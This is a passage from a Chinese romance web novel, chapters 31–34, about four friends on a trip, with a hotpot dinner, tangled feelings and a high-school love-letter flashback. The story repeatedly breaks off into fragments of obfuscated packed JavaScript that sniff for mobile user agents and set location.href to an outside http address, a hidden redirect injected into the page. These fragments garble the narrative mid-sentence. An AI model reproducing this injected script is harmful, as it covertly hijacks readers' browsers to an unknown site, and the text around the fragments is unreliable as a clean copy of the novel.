l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14894483|157423||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “好——哦——” 短短几步路,这一等就是十来分钟。因为盛霏把无人机放了出来,专注于操控,差点一头撞在栏杆上,被邵允承眼疾手快地拽住了。 等盛霏指挥大家站到一起,乔迦茵和宋玉津才意识到是要拍全部四人的合照,前面听盛霏讲,以为只是拍两个女生的。站成一排的时候隔着一个盛霏,两人默不作声地把视线投向别处,再被盛霏要求着一同看向无人机镜头。 “等下,站你俩中间我凹下去了。”盛霏检视着照片,极其不满。 “你把旁边那凉亭里凳子搬过来,就高了。”宋玉津说。 盛霏:“我要是一个人站在凳子上和你们拍照也太神经了。” “你一个人坐着也行,拍家庭照。”阳光太强了,乔迦茵半眯着眼睛懒洋洋道,“辈分高也是高。” 盛霏简直受不了她,无语地笑了一会儿,说要重拍。几个人守在那边讨论半天,最后决定让两位男士站后面去。四四方方的阵型又太过僵硬,盛霏稍歪着身子,还拉着乔迦茵倾斜过来一些,总算是完成了一张合照。 合照拍完之后,盛霏叫乔迦茵等等她,后者勉强答应,但还是走得比她稍快一些,占据领头位置,不像观光,像上班赶着打卡。古城墙后面的路越走越窄,基本无法并行,步速稍快的邵允承跟上去,乔迦茵偏过头和他说了几句话,两人自然而然地走在前面。 盛霏又磨磨蹭蹭落到队尾,跟宋玉津说话,掩着嘴压低声音:“你有没有感觉到不正常?” 宋玉津问:“什么不正常?” “J啊,她今天态度超差。” 宋玉津:“……她哪天不是。” 果然男人就是迟钝,盛霏嫌弃地瞥他一眼,继续阐述她的猜测:“我觉得主要还是小邵他表姐的原因,J和小邵估计私下闹得有点僵,她有火气没处发,这两天才怪怪的。” 真正的罪魁祸首唯有沉默:“……” “你怎么这么惊讶?对生活的观察还是太少啊。”盛霏慷慨道,“那我跟你说说我是怎么发现的,首先,我觉得J这两天和邵允承的对话减少了,有时候语气还挺疏离,你看现在也没怎么聊天了;其次,刚才我听到她嘲讽他了!” “什么嘲讽?” “说他腿跑得快牌跑不快,真是个矛盾的人,也不知道写的代码能跑多快。” 宋玉津不由得露出了不屑的表情:“开玩笑,这算什么,乔迦茵整天无差别攻击所有人,我以前听的比这个邪恶多了……” “可他是她男朋友啊。”盛霏问,“对男朋友也是这样?” 宋玉津话语一顿。 他微垂眼睑,轻描淡写地笑了一下,说:“那我怎么会知道。” 31. 第 31 章 从古城墙下来之后,一行人前去市区,打算去吃火锅。 到达商场前,盛霏提起行程的下一个城市有个她的朋友,到时可能需要一起吃顿饭,另外三人均无反对意见。 “啊,不过最近刚好是她生日,我得去买个礼物。”盛霏说,“J你陪我去逛一下,让他们两个先去取号排队。” 乔迦茵说:“OK啊,没问题。” 她一路上没怎么说话,此时答应得这么爽快,反而让盛霏受宠若惊起来:“很快的,就去挑个小玩偶之类就行。” 乔迦茵:“嗯,好。”拖慢点更好。 说实话,她现在看宋玉津就烦,看邵允承也不怎么爽气,巴不得和盛霏多待一阵。 盛霏说很快,果然很快,几乎没怎么思考就买了个她朋友喜欢的公仔,拢共没有花超过十五分钟时间。 商场人不算多,楼上先去火锅店的二位没怎么排队,已进去入座了。 盛霏看着手机消息上的桌号找到他们,“锅底已经点了吗?” 邵允承答她:“点了。” “点了什么?”这句是乔迦茵问的。 她直接看过来,邵允承愣了下,开始回想:“四宫格,有一个牛油辣锅,一个菌菇,还有什么来着……” “清汤和番茄。”宋玉津说。 盛霏转头问乔迦茵:“我有辣锅就行,你是有想吃的没点到?” “……没事,我想吃的是番茄。”乔迦茵说。 “那幸好点了。”盛霏为她高兴。 他们两个男生并排,宋玉津坐在里面。乔迦茵走在盛霏前面,顺势坐进去才意识到座位不对,结果盛霏一脸自然完全没感觉有异,要专门提起又好像小题大做。 等到去取蘸料时,乔迦茵才小声跟盛霏说:“你要不要和我换个座位。” “啊?我想坐外侧啊,拿吃的方便。”盛霏没懂。 “……”乔迦茵很快地放弃,“那算了。” 回到座位时,汤底已经上了。 女生这边两格红彤彤的,一个番茄一个牛油,对着她们的喜好放的,此时换座位更无可能。 汤开得很快,水面翻滚,蒸出热气。盛霏起了个游戏话题,邵允承和她聊得很欢。隔着雾一样的水蒸气,宋玉津看到对面的乔迦茵半垂着眼睛,在盯着锅子发呆,一直没动。 ——忽然动了。 宋玉津眼神飞快闪动,垂下睫毛,余光瞥见她抬手拨了一下头发,把胸前的那几缕顺到背后去了。 “服务员?”他扬手,向不远处喊了一声。 那个方向的服务生快步赶过来,问:“有什么我可以帮您的?” “麻烦拿两个发圈,谢谢。” 周围杂声太大,宋玉津坐在里侧,音量也不大,服务生没听清楚,倾身过来凑近一点:“什么?” 宋玉津笑着重复了一遍。 服务生是年轻女生,俯身来听时距离很近,宋玉津那张脸带笑望着她说话的场景极具冲击力,那服务生脸腾地一下红了,立即直身道:“好、好的好的,稍等。” 盛霏原本在聊天,从旁边望见这一幕停下来嗤了一声,说:“宋玉津又害人了。” “我?我干嘛了?”宋玉津一脸不解地问。 盛霏看他一眼,突然有点受不了地笑了,这次是觉得好笑,说:“你别露出这种超迷茫的表情……本来长得蛮有欺骗性的,但是一迷茫就不帅了,看着蠢蠢的。最近老是这样。” 宋玉津难以置信:“我明明一直是一副聪明相。” 他转头问邵允承,“我看着蠢?我这是一张可以拿核物理学位的脸。” 邵允承诚恳道:“不,如果你认识核物理专业的学生,就不会想要这么比喻了。至少在发量上,别往那个方向去说。” “学科歧视。”宋玉津审判道,“乔迦茵,你去问问温见竹作何感想……”他跑火车没过脑子,反应过来自己说了什么后蓦然收了声。 乔迦茵被喊到名字时,仿佛睫毛被无形的火燎了一下。 她淡淡瞥了他一眼,没接话。 宋玉津和她视线对撞一下,自己把这个话题火速收回去了,只对盛霏说:“下次我要是再表情很蠢,你得提醒我。” “十元一次。”盛霏说。 “……我找邵允承。” 邵允承热忱道:“宋哥你放心,包在我身上,保证维持住你的智商。” * 用餐中途,乔迦茵离席去接了个电话。 她这两天在几个求职网站上把自己的简历和状态更新了,打来的是个猎头电话,问她是否在看工作机会。 乔迦茵回答:“嗯,是的,现在正在看。” “好啊,是这样的,我们这边是有一家国企的信用评级分析师岗位正在招聘,base在上海,目前来看您的简历是比较匹配的,不知道您有没有兴趣呢?” “有兴趣。”乔迦茵问,“可以问下薪资待遇吗?” “嗯嗯,您目前是在X司投行做债第二年吧?这个岗位的薪资可能会稍低一些,但是国企的各项津贴和福利是非常丰富的,不知道符不符合您的心理预期?” 做信用评级的国企,加上base地,乔迦茵心里框出大致的范围,沉默一会儿,在对方等不及“喂?”了一声后问:“我是女的,26岁未婚未育,符合这个职位的预期吗?” “……”这回陷入沉默的换了人。 对面安静须臾,语速飞快地续上了话,但也未能遮掩住话音透出的尴尬,“啊,这个没事没事,这样,我们不如先加个微信吧,之后如果有合适的机会我会尽快跟进同步给您做推荐的。” 通话挂断后,乔迦茵长长地吐出一口气,疲惫。忽然听到背后有人叫她名字,一遍过后顿了一会儿,念了第二遍。 这声音都不用回头,她心里已经烧起怒火了。 也不知道他刚才听到多少。 她转过身,站定,皱着眉头说:“喊一次就够了。” 宋玉津道:“怕你装听不见。” “我没那么幼稚。” “你最好是。”宋玉津偏了下头,示意她过来转角处说话,“我想找你谈谈。” 这转角后面是洗手间,墙上就贴着标志,乔迦茵扫了一眼,无语道:“现在?这里?” “没有别的选择了。”宋玉津也很无奈,火锅店就是这么逼仄。 乔迦茵怀疑地看了他几眼,还是往那里矜持地走了几步,冷冷道:“有什么要说的?速战速决。” “行。”宋玉津单刀直入地问了,“为什么躲着我?” 乔迦茵说:“没有躲着你。” “骗人。”宋玉津说,“连一句话都懒得和我说。” “我们不是本来就这样吗?”乔迦茵道,“你知道我一向很讨厌你。” 又来了又来了,宋玉津想。 他扬眉笑了一下,问:“所以你是喜欢亲自己讨厌的人?” ——那天晚上的事,他就这么说出来了?! 乔迦茵猛然睁大了眼睛,一张脸既惊且怒,一时没反驳过去。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14910406|157423||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 宋玉津摊手道:“虽然你叫我忘了,但是才一天,怎么可能忘得掉?第一下是我主动的,第二下是你主动的,我没记错吧?” 他还堂而皇之地问了!乔迦茵放在身侧的手下意识紧握成拳,仰头直视着他:“你有病吧?!我叫你忘掉,是让你不要再提起这件事,当作没发生过!” “做不到,想不通。”宋玉津干脆利落地说,“何况你也表现得不自然。” “……” “所以我现在要问你。”他紧盯着她问,“你把那个吻当作什么?” 说“那个”,也不说哪一个,乔迦茵看了他一会儿,放轻声音低柔道:“你希望它是什么呢?” 宋玉津心里猛地一跳。 她下一句是:“可惜,它什么都不是。” “一天忘不掉,三天,两周,一个月,总归忘得差不多了。这种程度的接触根本算不上什么吻,就算是陌生人随随便便亲吻一下也很正常,玩乐而已,你最好不要误会了。”乔迦茵向别处偏过头,眼神有些说不清道不明的厌倦,“噢,差点忘记你是白纸一张了,不好意思,我们成年人是这样的。” 宋玉津停顿片刻,好奇问她:“你经常亲陌生人?” 什么脑回路,乔迦茵真的服了,压着眉头说:“那个是修辞。”但她还是得打上补丁,“但有些时候,我亲吻的对象和陌生人也没多少区别。”毕竟她换男友的速度是真的很快,她实际上也并不多么关心他们。 “不是陌生人,那是什么?”似乎听不懂一样。 怎么把这个人尽快赶走,乔迦茵在心里烦躁地思考。 “男朋友?炮友?随便怎么称呼都行,搭伙吃饭睡觉的人。”她用自认比较恶劣且散漫的语气说,“不是你这种人可以接受的关系。” “如果我可以呢?”像随口一句一样抛出来的。 她足足怔了三秒。 “你疯了吗你?”她站直了逼近他,眼神很凶,“宋玉津,你还记不记得你有女朋友啊?” 宋玉津心想他确实忘了。 意识到距离危险,乔迦茵很快退后一步。 “而且你哪来的自信?我干嘛不找邵允承。” 宋玉津撇了撇嘴,说:“对啊,我还想问呢,你有邵允承,昨晚干嘛还要……” “你敢再提一次试试。”乔迦茵瞪他了。 这一插曲耽搁了不短时间,宋玉津回座位时,盛霏还问了句:“厕所排队吗?J还没回来。” 她是不想和他一起,所以说要打电话把他赶回来了。 宋玉津说:“没注意。” 盛霏:“啊……”她还想待会去一下厕所,别排长队啊。 宋玉津看她表情有一些忧伤,不由得犹豫了一下,但还是挣扎过后小声问她:“盛霏。” “什么事?” 他说:“什么时候能告诉别人我们分手的事?” 这个啊,盛霏想了下,说:“等这次旅游结束,我把朋友圈发出来后。” 盛霏患有严重的选择困难症和修片强迫症,行程结束后恐怕还要等上一两个月才能见到她朋友圈出炉。 宋玉津扶着额角,问:“和朋友圈的关系是……?” “我们两个不是都没有拍过合照吗。”盛霏掩着嘴说,“有点可惜,我还是想在朋友圈炫耀一下你的脸的,借此机会发个你的照片出去,再官宣一下分手。” “……”如此周密的安排,没想到拒绝的理由。 盛霏说:“所以今天在提醒你表情管理了啊。” 32. 第 32 章 乔迦茵把宋玉津赶回去后,没有继续站在厕所门口的心情,变换方向出了餐厅,在商场廊道里折腾手机。她通过了那个猎头的微信,简明扼要地聊了几句。 她就站在店头下面,几步避开了门口,比较松散地站着,低头看手机。那边猎头回消息很快,一来一回没给停息的空间,几句把她情况问清楚了,大致介绍了他手上的岗位方向。 她自觉对话到此结束,正要转身回去继续吃饭,迭声脚步从店里响起来,邵允承过来了。 视线在周围扫视一圈后锁定住她。 竟然是来找自己的,乔迦茵意外地看过去:“有什么事吗?” 邵允承面上流露出些许不自然,轻声说:“……迦茵,我有话想跟你说。” 这么郑重? 乔迦茵收起手机,摆出倾听姿态。 “我不是很擅长体会女孩子的情绪变化,也有可能是我感觉错误了,隐隐约约感觉你这两天心情不是很好,所以去问了盛霏。”邵允承说,“如果是因为我表姐的事……我很抱歉,对不起,不知道你能不能接受?” 乔迦茵怔了一下,笑笑道:“盛霏跟你怎么说的?” “……她直说的。”邵允承道。 盛霏确实不是个懂得婉转的人,反倒给邵允承这里带来了心理负担。乔迦茵没想和他关系搞僵,心下无奈,抬手拍拍他肩膀:“没,你放心,这个事情不至于。至于我这两天……是我个人的一些原因,不用放在心上。” 邵允承垂下眼望着她,问:“不至于吗?但其实我回想过来,你确实是从那天开始状态不好的。”陈安妮宣布怀孕那天。 乔迦茵没能马上回答,邵允承又补上一句:“有时候我不太懂得分辨真心话和场面话,所以想问清楚一点。” 好吧,对方态度实在太真诚了。 乔迦茵慢慢收敛起笑意,在旁边等位的座椅上坐下,拍拍旁侧位置邀请他一起入座。 “是有一点介意。”她说,“但说实话,换位思考的话,也不是不能理解。” “你说的是陈安妮?” “嗯。” “会连带着看到我也不爽吗?” “哈?没有,这个真的没有。”乔迦茵没忍住笑了,“都说了不至于。其实我反而还在困惑呢,既然她瞒了这么一个事,就清楚我在组里很难留下来,那她介绍你给我的用意是什么?” 邵允承侧着头,专注地听她说话,不由得说:“说不定只是觉得我们两个很合适呢?” 合适在哪里啊…… 乔迦茵瞥他一眼,刚要笑着反问,就蓦然间撞进他安静诚恳的目光里。 邵允承像个一心求索的学生再次发问了:“所以这件事不会影响我们的关系,我们还可以继续……?” “可以啊。”她觉得没什么问题。 “交往也是可以的?” “可以啊。”这层关系也没有影响。 空气忽然安静,乔迦茵顿了两秒,反应过来刚才的问答存在歧义。 偏偏邵允承一错不错地看着她,没放过她眼瞳里一瞬间的错愕与慌乱。 乔迦茵没立刻说话,想了片刻,唇角一弯。 “现在不是已经套着我男朋友的名号了吗?” 邵允承说:“那不是假的吗?” “嗯,对呀。”她起身道,“怕你忘记了,提醒你一下。” * 他们一起回到餐厅座位。餐厅生意好,人气旺盛,室内尽是火锅飘香,乔迦茵被热气蒸得头晕,面上微微发红,又带了点笑意,呈现出犹如醉态的惫懒神情,慢悠悠地坐回盛霏身边。邵允承坐下后,莫名摸了摸鼻子,视线又飘忽了一会儿,低头开始很忙地玩手机。 盛霏眼神在她和邵允承两人之间打量一会儿,冷不丁发问:“你们两个和好了?” “什么和好,本来就没有矛盾。”乔迦茵回答她。 “好好好。”盛霏当她搪塞自己,喜悦地双手合十,“反正你们看上去关系恢复甜蜜了,太好了!” 甜蜜……邵允承有点尴尬地看了一眼乔迦茵,对方很平静地接受了盛霏的这一认可,只说:“嗯,差不多吧。” 差不多就是承认的意思。 盛霏拉着乔迦茵袖子欢欣鼓舞:“你不知道我之前真的很紧张……” 这次出行本来就是她提出她组织的,要是乔迦茵和邵允承这么分了手,好像是她一个旅游提议拆散一对好好的情侣。 “紧张什么?哎你别想太多。”乔迦茵搓搓她。 “反正现在就好啦。”盛霏眉飞色舞,兴奋之余得意地看一眼宋玉津,意思是:我说什么来着?之前是起冲突了吧。 这位未理会她的眼风,眼睑微垂也不知在想点什么。 用完饭盛霏难得使唤宋玉津去开车,因为她被社交软件上刷到的“潮汐树”景色勾起兴趣,聚精会神地阅读着相关拍摄教程,暂时不想被驾驶任务打断。宋玉津自然应允——本身也没得选,又因结账而在餐厅内逗留片刻,等另外三位都离开后才匆匆跟上队伍。 他三步两步赶上前去,就望见乔迦茵在稍侧着脸和邵允承讲话。她表情一贯冷清,只是在身后马路上一晃晃的车灯中现出些朦胧的柔和意味,邵允承原先大约是在看路,开了个很冷的玩笑后被乔迦茵伸手打了一下,他转头看她,眼神突然闪烁几下,才继续笑着看回去。 什么情况,宋玉津想,手也牵了,觉也睡了,现在在这里演纯情。 走在前面的盛霏到了他们停着的车前面,原本玩着手机,抬头一看,“啊”了一声。 乔迦茵探头一看,也啊一声:“啊,鸟屎。”拉在他们前车窗上,正中间一大滩白的。 三个人齐齐地转头看宋玉津,三脸迷茫。 好像他成了家长, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14932743|157423||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宋玉津在心底叹一口气,脸上唯有淡笑:“车子上有租车行给的两块干净抹布,小邵过来,和我一起擦一下。” 邵允承应了声好,两人齐力从车窗两边擦拭过去。 * 抹布从座位旁的窗玻璃擦拭过去,钝而滑的一声响。 乔迦茵转过脸去,看见窗外走道上黎远很轻微地冲她笑了一下。 反倒是乔迦茵表情不太自在。她推开窗,没话找话说了一句:“你还没走啊。” “值周。”黎远道。 学期最后一天,其他人考完试收拾东西就离开了,教室里不剩几个人。值周同学要把教室清扫干净,等年级主任看过后再走。 乔迦茵手搁在侧面窗框上,看他将其他几面玻璃也擦了,暂时没想出下一句。 昨晚熄灯后,她在寝室里整理东西,正握着那封匿名的信件为难的时候,室友凑过来问她有没有带英语词组的那张纸,那封信就这么误打误撞被瞧见。 她收手很快,熄灯后寝室里只亮着台灯,光亮范围狭窄,室友估计也只瞥见前几句。糟心的是,那室友刚巧互批过黎远的作业,认出了笔迹。 就算乔迦茵当即否认了,只说不知道是谁,也知道女生之间立刻传开了这一消息。 原先她拿着这信就觉得烫手,现在好了,白天在学校里被同班同学们看着,也觉得身上发烫,仿佛那些目光带了温度一样。 还偏偏牵连到别人受罪,理应赔个不是,好歹黎远算是一个朋友。乔迦茵确信自己听到有人在窃窃私语自己和黎远的名字,也不知猜测了些什么。 今天考英语和小科,全年级打乱排考场,她也没找到和黎远私下交流的机会。 眼下算是终于寻得一个,话到嘴边又不知怎么讲,还没讲自己先尴尬起来。 她思虑再三决定避开无论是情书还是信件的相关字词,只装傻说:“他们有些人好像误会你和我有什么,你别在意,过一个假期就没人记得了。” “有什么?” 还能有什么……男生平静的目光更给她压力了。 乔迦茵张了张嘴,要说什么又被他打断了。 黎远说:“逗你的,其实我听人讲了。没事,我没在意。” “行,那就好。”乔迦茵说,“呃,这可能是因为我这些天在女生寝室说了什么导致她们误会了,所以我觉得有些抱歉。” 黎远清理完了玻璃和窗台,将抹布信手放在旁边,看着她似乎是思考了一会儿。 “她们误会了什么?” 饶是乔迦茵脸皮厚也没好意思说出口,两手扒着窗台沉默:“……” 黎远还是聪明,端详一会儿她面色后,自如地笑了一笑,“哦,误会我喜欢你?” 乔迦茵艰难地点了一下头。 黎远也会意地点点头,表示理解了。 随后道:“那不是误会。” 33. 第 33 章 黎远留下这么一句石破天惊的话后就去楼道尽头洗抹布了,留下乔迦茵在窗边被风吹得头昏脑胀。 她东西早就收拾好了,不过就文具课本和杂物,只等回寝室拖箱子走人。于是什么也没做,就在窗边这么静静思索了一会儿。 等黎远回来,似乎把这当成了某种暗示,先是很快地舒了一口气,望向她的神情变得很温和:“周六有空吗?” 乔迦茵说:“这个周六?有的。” 她和黎远不是没有一起出去玩过,不过那次是和了其他同学一起,包括宋玉津、温见竹,总共七八个人,周末的竞赛加训,某次结束后几个人一道去学校附近的商场转悠,吃了饭,常规的高中生集体活动。 单独出去还是第一回。 周六夜晚,温见竹在电话那端惊呼起来:“你没跟我说过在和黎远交往啊?” “没交往。”乔迦茵窝在床头,握着手机向她汇报,“就是很平常地出去玩,看了个展览,吃个饭,一起学习了一会儿。” 温见竹:“这不算交往吗?其实大家约会也就是这些流程。” “我和你出去不也做这些事吗?我们两个又没有交往。” 温见竹:“……” 她语气怏怏:“听你这么说,我就知道你对黎远没那个感觉。” 乔迦茵换了一只手拿电话:“我不讨厌他啊。”实际上和黎远相处还是挺舒服的,“如果他真的提出交往,也许我会答应。” “咦?所以他没有提吗?”温见竹诧异问道。 “没有,相反他说……”乔迦茵稍显困惑地顿了顿。 温见竹催她了:“怎么还卖关子啊你。” “他说他有点怕我。”乔迦茵道,“你知道黎远讲话那个语气的,分不清楚是在开玩笑还是认真。” “确实不太懂……有可能这个‘怕你’后面还省略了部分内容。”温见竹脑洞大开,“怕你数学考过他,怕你突然间犯罪,怕你杀了他之类的。” “……在你们眼里我到底是个什么精神状态?” “我们是谁?” “没谁,我口误了。”乔迦茵低声说。 “他是什么情形下说的这句话啊,有没有前后文?”温见竹好奇。 乔迦茵说:“没什么前后文。” “啊?那他有点莫名其妙了吧。” “嗯……” 乔迦茵撒谎了。 在那句话之后,黎远和她闲聊起去年开学不久的一件事。 “军训第三天,学生会发绿豆汤的时候。”他笑笑,“是我不小心洒到你身上,怕惹你生气躲开了,还没反应过来,宋玉津就背了这口锅,经常想起这事,觉得真对不起他。” 乔迦茵一手握着着冰拿铁,一手在翻书,闻言眼神似乎是晃了晃,随后语气困惑道:“什么绿豆汤?” “嗯,你忘了吗?”黎远意外地挑了一下眉毛,“那就算了,也不是什么大事。” 乔迦茵也笑:“你怎么军训的事都记得?” “是你留给我的印象深刻。”他低头看着书说。 乔迦茵捏着书页的手指凝住片刻,才松开。忘记看到哪儿了。 听筒里温见竹迟疑着问:“不过我听说他给你写了……?” 看来也传到温见竹那里去了,就知道女生寝室不会有秘密,乔迦茵收回思绪,道:“嗯,是有写。” 温见竹深吸一口气,显然是又要发问,乔迦茵倒是先一步截住了她的话头:“不过这个东西很诡异。” “……诡异?”温见竹说,“难不成他给你写的是什么恐怖字条?恐吓信?” “不是,你想到哪里去了。”通话太久手机发烫,乔迦茵稍稍将它拿远一点,“我觉得内容应该不是黎远写的。” “听不太清楚,喂?内容什么?” 乔迦茵无意识地握紧了手机,整个掌心连同身躯都发热:“……像宋玉津写的。” 她说完就听到自己的呼吸声,比平时要快,像被追赶着一样。听了半天,才发觉通话那头半天没传出声音。 一看是手机不知何时没电了,成了炽热的一块黑色砖头。 她心情复杂地叹一口气,趴到床头去将数据线插上,等屏幕亮起LOGO,缓慢载入主屏幕。 重新连接上网络后,温见竹的一连串消息同时弹出。 【你怎么突然挂断啦?】 【是不是网断了?】 【刚刚是说内容什么?话说回来黎远究竟写了些什么啊?】 【哭哭.jpg】 这么一番操作后乔迦茵忽然间心生厌烦,疲惫地往床上一躺,伸直了胳膊敲字回复。 乔迦茵:【没什么,就没几句话,也不是那种肉麻表白。】 温见竹记性很好:【那你是为什么说很诡异啊?】 乔迦茵逐字逐字地输入:【我瞎猜的】 【之前借宋玉津的kindle,正好看到他书架上有本书】 * 《我的心迟到了》。费尔南多·佩索阿的诗选。 乔迦茵在标示着“西方文学”这一书架前略略仰头,看了一会儿这本书的书脊。 她侧后方的不远处,盛霏在和她的朋友通话:“……我们在青籁坊里面的九九七书店……嗯,就是那个旧祠堂入口附近,奶茶店对面,对对对,今天实在太晒了所以进来逛一下……这边导航不准?”她稍微搁下手机,抬眼问,“宋玉津,我们这边是靠近哪条路啊?” “灵犀路?”宋玉津也不太确定,“刚刚好像看到指示牌。” “说是灵犀路……啊?那应该是他错了。”盛霏再度短暂离开通话,看向他一脸无语,“什么灵犀路,这里只有灵屏路。” 宋玉津无辜道:“景区指示牌的书法太难认了。” “算了,你在原地等一下,我来接你吧。”盛霏向他们快速说道,“我出去一下啊。” 另外三人都点头应好。 邵允承就在乔迦茵身边,问:“你是要拿书吗?看你一直在看上面这层,想要哪本?我可以帮你拿。” “不用了,谢谢。”乔迦茵瞥他一眼,笑了,目光转回去,“这个高度,我应该——” 她踮起脚探出手。 “——够得着。” 将那本《我的心迟到了》扯得偏向前方之后,一把拎了下来。 原先在看另一排书架的宋玉津听到动静,侧身看过来时,似是突然想到什么,神情陡然定住了。 他视线尽头稳稳落在那本书上,拿着书的人却恍然未觉一般,笑吟吟地向后靠一点,对身后的邵允承说:“你看过这本吗?” “没有。”邵允承问,“我不太看诗集这种。这个好看吗?” “还不错。”两排书架之间只有他们三人,乔迦茵音量不大,吐字清晰,像是专门说给另外一个未参与对话的人听,“不过,宋玉津以前挺喜欢的。” “是吗?” 两个人的目光齐齐向他这里看过来,一个是顺理成章,一个是别有居心。 乔迦茵还将书本在他面前晃了两下:“你以前喜欢吧?还是我记错了?” 宋玉津向她这里走了一步,稍俯下身,似乎是辨认封皮上的书名,眼神最终却转回她脸上。 “你知道?”他轻声问。 乔迦茵收起笑,盯着他两秒,缓慢眨眼的瞬间像是闪过几种看不分明的情绪,说:“……诈你的。” 她突然没了兴致,嘴角向下一撇,反手把书放邵允承手里了:“我对这个兴趣不大,你喜欢可以看,不喜欢的话就帮我放回书架上吧。” * 盛霏的朋友叫周翎,是她初中同学,据说原本做同学的时候并不多么亲近,这些年在朋友圈□□着竟发现新近的兴趣爱好趋同,这才互相热络起来。周翎公主切发型,细长眉眼,妆容精致,穿的是花样繁复的重工洋装连衣裙,光看外表的确和盛霏是截然不同的风格。神奇的是一张口,讲话语气可以说和盛霏一模一样,忽略天生的音色差异,几乎就是另一个盛霏。 在她的倾情推荐之下,一行人去吃了一家据称全城顶尖的烤肉店。 乔迦茵甫一坐下,侧过头又去和邵允承说话了。她动作其实有点急,想避开宋玉津——这人下午从书店出来后似乎想找她单独说话,但乔迦茵没有和他深入交流以前那本书以及相关话题的打算。 邵允承倒是浑然不觉,开开心心地有什么说什么:“哦你说做饭啊,我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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啊,这个乔迦茵知道,向邵允承解释:“她有选择恐惧症,一条朋友圈纠结十年。” “……”宋玉津不知怎么看着有些郁闷,只对盛霏说,“有什么办法能快一点吗?” “那你帮我挑一下照片。”盛霏想了想,打开手机相册,“从这里开始都是,要精心挑选九张啊。” “等等,这有点……” “交给你了。”盛霏用寄予厚望的语气说。 乔迦茵看了他们一会儿,面无表情地低头喝水,邵允承还在她旁边笑了一下,小声跟她说:“他们这对挺好玩的。” 她“嗯”了一声,杯子搁回桌上。 宋玉津瞥了一眼,没说什么。等下一道菜上来后,他扬手对服务员说了一句:“麻烦加点茶。” 酒足饭饱过后,周翎提出要和盛霏单独聊会儿天。于是其余人等先去车上,等她们两人说完话回来再一起走。 “一会儿要不先送周翎回去?”邵允承道,“现在也这么晚了。” 乔迦茵和他并肩坐在后排,闻言说:“看她吧,反正也是盛霏开。” 这些天盛霏对于驾驶座的控制权已无可撼动,邵允承不由得感慨:“盛霏真能开啊。” 前排副驾驶上的宋玉津侧过身来,像是忍不下去,问乔迦茵:“所以你是什么时候知道的?” “都说了我诈你的,我不知道。”乔迦茵说。 “可是那本书呢?”极其不解的语气。 可想而知这人已经把期中考前借kindle给她的事忘到九霄云外。 乔迦茵又懒得理他了,脑袋往窗玻璃上一磕,闭目养神去了,道:“佩索阿托梦给我的,说你在看他的书。” 宋玉津没说话,反倒是邵允承大为震惊,目瞪口呆道:“啊?!” 乔迦茵有点无奈了,只好向邵允承解释:“开玩笑的。”罢了又侧眸看一眼宋玉津,道,“因为他这个人没有秘密,很好猜的。” * “你注意点你男朋友。”与此同时,周翎拉着盛霏的胳膊,一路走了老远才表情挣扎地开口道。 盛霏没反应过来:“啥啊?” “就是那个宋什么,忘了,随便了。”周翎道,“感觉你也没多喜欢他,要不赶紧分手吧。” “这个倒确实……”盛霏被她白了一眼,赶紧回到原本的话题,“怎么了吗?” “你心也太大了点吧,真看不出来?”周翎要被她气死,喘了好几口气,才下定决心似的将下一句说出口,“整顿饭上他全程都在看另一个女的!趁人家不注意就死死盯着!一直在看着她走神,你一点没发现?” 34. 第 34 章 盛霏愣了愣,“扑哧”笑出声:“你想多了,J就坐宋玉津对面,他不看她看谁。” 周翎惊异于她的反应:“你一点也不在意的吗?” “在意,在意。”盛霏连忙打补丁。 “在我这就别装了。”周翎抱起双臂,狐疑道,“你不怎么喜欢他吧?随便玩玩的?” 盛霏:“……嗯嗯。”方向对了思路错了,是他们已经分手了。 但分手这事,她一时有些说不出口,即使是对着周翎。 一来有点丢脸。盛霏一向三分钟热度,以貌取人,见到长得帅的就去追,谈恋爱没多久就分手,属于家常便饭,这个说出去对她在朋友们之间的印象已无法产生影响。反而是她自己觉得,已经分手还为了出片的执念与幼稚的赌约硬装情侣,这一点比较丢脸。 二来,就如同盛霏难以藏事,周翎也是个大嘴巴,但凡知道了什么转头就要说得人尽皆知——那她这一路遮遮掩掩岂不是白搭! 周翎不赞同:“就算是随便玩玩,那也不能明着……要不你分了吧,这种渣男。” 盛霏从善如流地表示:“在考虑在考虑。” 周翎看了她一会儿,表情松动,大约是勉强接受了现实,然后愤懑不平道:“还是想去痛快地骂他一顿,爹的,果然长得好看的男人都不可信。” 盛霏总算脑子转过来了,反应过来周翎误会了什么,赶紧抓住她手,自认站在朋友的立场替宋玉津说了句公道话:“他对J应该没那意思,他们两个高中同学,要真发生什么早就发生了。” “还是老相好。”周翎道。 “没,反而好像关系没那么好。” “真的假的?”周翎说,“完全看不出来。” “这个肯定真啊,这些天他们明里暗里吵架都被我看见几次了。”盛霏说。 “关系不好的高中同学,还一起陪你出来玩?” “这个就是巧合了……主要是我长袖善舞,擅长交际啊。”说到这个,盛霏还挺得意。 